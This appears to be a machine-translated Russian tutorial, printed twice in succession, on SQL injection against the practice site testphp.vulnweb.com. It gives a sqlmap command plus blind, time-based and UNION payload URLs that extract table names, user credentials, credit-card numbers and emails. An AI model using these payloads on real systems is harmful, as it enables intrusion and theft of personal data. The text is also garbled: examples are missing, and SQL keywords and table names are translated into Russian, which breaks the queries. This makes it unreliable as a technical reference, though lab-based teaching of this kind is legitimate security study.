Существует бесчисленное множество статей, посвященных SQL-инъекциям. Все слышали о печально известной конструкции «ИЛИ 1 = 1» и подобных ей, но мало кто действительно применял их на практике. В этой статье мы рассмотрим несколько практических способов проведения SQL-инъекционных атак, используя в качестве примера уязвимый веб-сайт.
Данная статья предназначена для тех, кто хочет получить практическое представление о том, что такое SQL-инъекции.
Стандартное заявление об отказе от ответственности
Прежде всего, позвольте напомнить о статье 272 Уголовного кодекса Российской Федерации, которая предусматривает ответственность за несанкционированный доступ к защищенной законом компьютерной информации. Иными словами, нельзя пытаться взломать любой сайт, так как вы рискуете попасть под действие этого закона. Также стоит упомянуть статью 274.1 (несанкционированный доступ к защищенной компьютерной информации, содержащейся в критической информационной инфраструктуре Российской Федерации), поскольку, если целевой сайт является частью критической инфраструктуры, последствия будут еще более серьезными.
Поэтому не следует пытаться взламывать произвольные цели. Однако в интернете есть ресурсы, специально предназначенные для отработки навыков веб-тестирования на проникновение и тестирования безопасности. На этих сайтах обычно содержатся уязвимости из списка OWASP Top 10, но даже после успешной эксплуатации вы не получите никаких действительно ценных данных. Например, даже если вы обнаружите пароль администратора, вы, как правило, не сможете внести существенные изменения на сайт, или эти изменения будут быстро отменены.
Одним из таких уязвимых веб-ресурсов является http://testphp.vulnweb.com/. Компания Acunetix, известная своим сканером уязвимостей, создала несколько подобных намеренно уязвимых веб-сайтов. Конечно, это не единственный пример — существуют также платформы, такие как Hack The Box, Root-Me, TryHackMe и другие, где можно попрактиковаться в хакинге. Однако testphp.vulnweb.com примечателен тем, что не требует регистрации или оплаты.
---
Первый шаг: Выявление уязвимости
Многие публикации об SQL-инъекциях начинаются с описания уже выявленной уязвимости и затем объясняют, как её использовать. Однако на практике сначала необходимо найти уязвимость. Давайте рассмотрим, как работает уязвимое веб-приложение.
Мы можем переходить по разным ссылкам на сайте, пытаться что-то найти и наблюдать, какие параметры используются в запросах. Например:
Вы можете сразу же начать экспериментировать со значениями параметров, или же сначала попробовать использовать сканеры. Давайте посмотрим, что нам покажет sqlmap. Этот сканер входит в состав Kali Linux и не требует дополнительной установки.
Для выполнения сканирования необходимо указать URL-адрес с соответствующим параметром:
sqlmap -u http://testphp.vulnweb.com/artists.php?artist=1
Как видите, сканер предлагает несколько возможных точек инъекции. Давайте рассмотрим их подробнее.
Инъекция SQL на основе булевых операторов — это метод использования «слепых» инъекций, при котором информация выводится на основе реакции приложения на условные выражения. Инъекция называется «слепой», если веб-приложение не демонстрирует никакой видимой реакции.
Пример:
http://testphp.vulnweb.com/artists.php?artist=1 AND 2995=2995
В нашем случае сайт никак не реагирует на этот вредоносный код. Для таких «слепых» инъекций можно использовать другой метод — команды базы данных для внесения задержки в ответ.
Для лучшей наглядности увеличим задержку до 15 секунд:
http://testphp.vulnweb.com/artists.php?artist=1 AND (SELECT 5089 FROM (SELECT(SLEEP(15)))VXbf)
Как видите, страница загружается значительно дольше, что может указывать на наличие уязвимости.
---
Эксплуатация
Наконец, третий вариант, предложенный сканером, является наиболее полезным. Хотя мы могли бы использовать предоставленную им закодированную полезную нагрузку, результат не был бы очень наглядным.
Вместо этого давайте разберем использование оператора UNION. На странице «исполнитель» мы видим три записи, поэтому теоретически следующий запрос должен отобразить все три:
http://testphp.vulnweb.com/artists.php?artist=1 UNION SELECT 1,2,3
Однако, как показано, отображаются результаты только для одной таблицы.
Теперь попробуйте ввести недопустимые данные, заменив artist=1 на artist=-1:
Вы заметите, что теперь на сайте отображаются результаты для оставшихся таблиц.
Далее нам необходимо определить название базы данных, перечислить ее таблицы и извлечь потенциально интересные данные, такие как информация о пользователях.
Чтобы получить имя базы данных:
http://testphp.vulnweb.com/artists.php?artist=-1 UNION SELECT 1,database(),3
Мы также можем получить версию СУБД и данные текущего пользователя:
http://testphp.vulnweb.com/artists.php?artist=-1 UNION SELECT 1,version(),current_user()
Теперь, когда мы знаем название базы данных, давайте перечислим ее таблицы одну за другой:
http://testphp.vulnweb.com/artists.php?artist=-1 UNION SELECT 1,table_name,3 FROM information_schema.tables WHERE table_schema=database() LIMIT 0,1
Первая таблица — «Художники», и в ней, вероятно, уже содержатся данные, доступные на сайте. Давайте продолжим итерацию, изменив значение параметра LIMIT:
... ЛИМИТ 1,1
... ЛИМИТ 2,1
... ЛИМИТ 3,1
... ЛИМИТ 8,1
В итоге мы получаем следующий список таблиц:
Художники
Тележки
Катег
Рекомендуемые
Гостевая книга
Фотографии
Продукт
Пользователи
Наиболее интересная для нас таблица — «Пользователи». Давайте рассмотрим её столбцы:
http://testphp.vulnweb.com/artists.php?artist=-1 UNION SELECT 1,group_concat(column_name),3 FROM information_schema.columns WHERE table_name='users'
Из списка наиболее интересными полями являются uname и pass.
Для извлечения имен пользователей:
http://testphp.vulnweb.com/artists.php?artist=-1 UNION SELECT 1,group_concat(uname),3 FROM users
Аналогичным образом, для извлечения паролей:
http://testphp.vulnweb.com/artists.php?artist=-1 UNION SELECT 1,group_concat(pass),3 FROM users
В результате мы получаем учетные данные, например, test:test. Хотя в реальных системах пароли обычно хешируются, это демонстрирует принцип действия.
Используя аналогичные запросы, мы также можем извлечь номера кредитных карт и адреса электронной почты:
... group_concat(cc) FROM users
... group_concat(email) FROM users
---
Заключение
В этой статье мы рассмотрели основы выявления и использования уязвимостей SQL-инъекций с помощью специально созданного уязвимого веб-приложения. Существует множество других методов эксплуатации того же сайта — например, с помощью:
и применяя аналогичные методы.
Если вы хотите проверить свои практические навыки в области тестирования безопасности и увидеть, как работают реальные методы тестирования на проникновение, рассмотрите возможность прохождения теста на проверку навыков, чтобы оценить свой текущий уровень знаний.
---
Данная статья предназначена для тех, кто хочет получить практическое представление о том, что такое SQL-инъекции.
Стандартное заявление об отказе от ответственности
Прежде всего, позвольте напомнить о статье 272 Уголовного кодекса Российской Федерации, которая предусматривает ответственность за несанкционированный доступ к защищенной законом компьютерной информации. Иными словами, нельзя пытаться взломать любой сайт, так как вы рискуете попасть под действие этого закона. Также стоит упомянуть статью 274.1 (несанкционированный доступ к защищенной компьютерной информации, содержащейся в критической информационной инфраструктуре Российской Федерации), поскольку, если целевой сайт является частью критической инфраструктуры, последствия будут еще более серьезными.
Поэтому не следует пытаться взламывать произвольные цели. Однако в интернете есть ресурсы, специально предназначенные для отработки навыков веб-тестирования на проникновение и тестирования безопасности. На этих сайтах обычно содержатся уязвимости из списка OWASP Top 10, но даже после успешной эксплуатации вы не получите никаких действительно ценных данных. Например, даже если вы обнаружите пароль администратора, вы, как правило, не сможете внести существенные изменения на сайт, или эти изменения будут быстро отменены.
Одним из таких уязвимых веб-ресурсов является http://testphp.vulnweb.com/. Компания Acunetix, известная своим сканером уязвимостей, создала несколько подобных намеренно уязвимых веб-сайтов. Конечно, это не единственный пример — существуют также платформы, такие как Hack The Box, Root-Me, TryHackMe и другие, где можно попрактиковаться в хакинге. Однако testphp.vulnweb.com примечателен тем, что не требует регистрации или оплаты.
---
Первый шаг: Выявление уязвимости
Многие публикации об SQL-инъекциях начинаются с описания уже выявленной уязвимости и затем объясняют, как её использовать. Однако на практике сначала необходимо найти уязвимость. Давайте рассмотрим, как работает уязвимое веб-приложение.
Мы можем переходить по разным ссылкам на сайте, пытаться что-то найти и наблюдать, какие параметры используются в запросах. Например:
Вы можете сразу же начать экспериментировать со значениями параметров, или же сначала попробовать использовать сканеры. Давайте посмотрим, что нам покажет sqlmap. Этот сканер входит в состав Kali Linux и не требует дополнительной установки.
Для выполнения сканирования необходимо указать URL-адрес с соответствующим параметром:
sqlmap -u http://testphp.vulnweb.com/artists.php?artist=1
Как видите, сканер предлагает несколько возможных точек инъекции. Давайте рассмотрим их подробнее.
Инъекция SQL на основе булевых операторов — это метод использования «слепых» инъекций, при котором информация выводится на основе реакции приложения на условные выражения. Инъекция называется «слепой», если веб-приложение не демонстрирует никакой видимой реакции.
Пример:
http://testphp.vulnweb.com/artists.php?artist=1 AND 2995=2995
В нашем случае сайт никак не реагирует на этот вредоносный код. Для таких «слепых» инъекций можно использовать другой метод — команды базы данных для внесения задержки в ответ.
Для лучшей наглядности увеличим задержку до 15 секунд:
http://testphp.vulnweb.com/artists.php?artist=1 AND (SELECT 5089 FROM (SELECT(SLEEP(15)))VXbf)
Как видите, страница загружается значительно дольше, что может указывать на наличие уязвимости.
---
Эксплуатация
Наконец, третий вариант, предложенный сканером, является наиболее полезным. Хотя мы могли бы использовать предоставленную им закодированную полезную нагрузку, результат не был бы очень наглядным.
Вместо этого давайте разберем использование оператора UNION. На странице «исполнитель» мы видим три записи, поэтому теоретически следующий запрос должен отобразить все три:
http://testphp.vulnweb.com/artists.php?artist=1 UNION SELECT 1,2,3
Однако, как показано, отображаются результаты только для одной таблицы.
Теперь попробуйте ввести недопустимые данные, заменив artist=1 на artist=-1:
Вы заметите, что теперь на сайте отображаются результаты для оставшихся таблиц.
Далее нам необходимо определить название базы данных, перечислить ее таблицы и извлечь потенциально интересные данные, такие как информация о пользователях.
Чтобы получить имя базы данных:
http://testphp.vulnweb.com/artists.php?artist=-1 UNION SELECT 1,database(),3
Мы также можем получить версию СУБД и данные текущего пользователя:
http://testphp.vulnweb.com/artists.php?artist=-1 UNION SELECT 1,version(),current_user()
Теперь, когда мы знаем название базы данных, давайте перечислим ее таблицы одну за другой:
http://testphp.vulnweb.com/artists.php?artist=-1 UNION SELECT 1,table_name,3 FROM information_schema.tables WHERE table_schema=database() LIMIT 0,1
Первая таблица — «Художники», и в ней, вероятно, уже содержатся данные, доступные на сайте. Давайте продолжим итерацию, изменив значение параметра LIMIT:
... ЛИМИТ 1,1
... ЛИМИТ 2,1
... ЛИМИТ 3,1
... ЛИМИТ 8,1
В итоге мы получаем следующий список таблиц:
Художники
Тележки
Катег
Рекомендуемые
Гостевая книга
Фотографии
Продукт
Пользователи
Наиболее интересная для нас таблица — «Пользователи». Давайте рассмотрим её столбцы:
http://testphp.vulnweb.com/artists.php?artist=-1 UNION SELECT 1,group_concat(column_name),3 FROM information_schema.columns WHERE table_name='users'
Из списка наиболее интересными полями являются uname и pass.
Для извлечения имен пользователей:
http://testphp.vulnweb.com/artists.php?artist=-1 UNION SELECT 1,group_concat(uname),3 FROM users
Аналогичным образом, для извлечения паролей:
http://testphp.vulnweb.com/artists.php?artist=-1 UNION SELECT 1,group_concat(pass),3 FROM users
В результате мы получаем учетные данные, например, test:test. Хотя в реальных системах пароли обычно хешируются, это демонстрирует принцип действия.
Используя аналогичные запросы, мы также можем извлечь номера кредитных карт и адреса электронной почты:
... group_concat(cc) FROM users
... group_concat(email) FROM users
---
Заключение
В этой статье мы рассмотрели основы выявления и использования уязвимостей SQL-инъекций с помощью специально созданного уязвимого веб-приложения. Существует множество других методов эксплуатации того же сайта — например, с помощью:
и применяя аналогичные методы.
Если вы хотите проверить свои практические навыки в области тестирования безопасности и увидеть, как работают реальные методы тестирования на проникновение, рассмотрите возможность прохождения теста на проверку навыков, чтобы оценить свой текущий уровень знаний.
---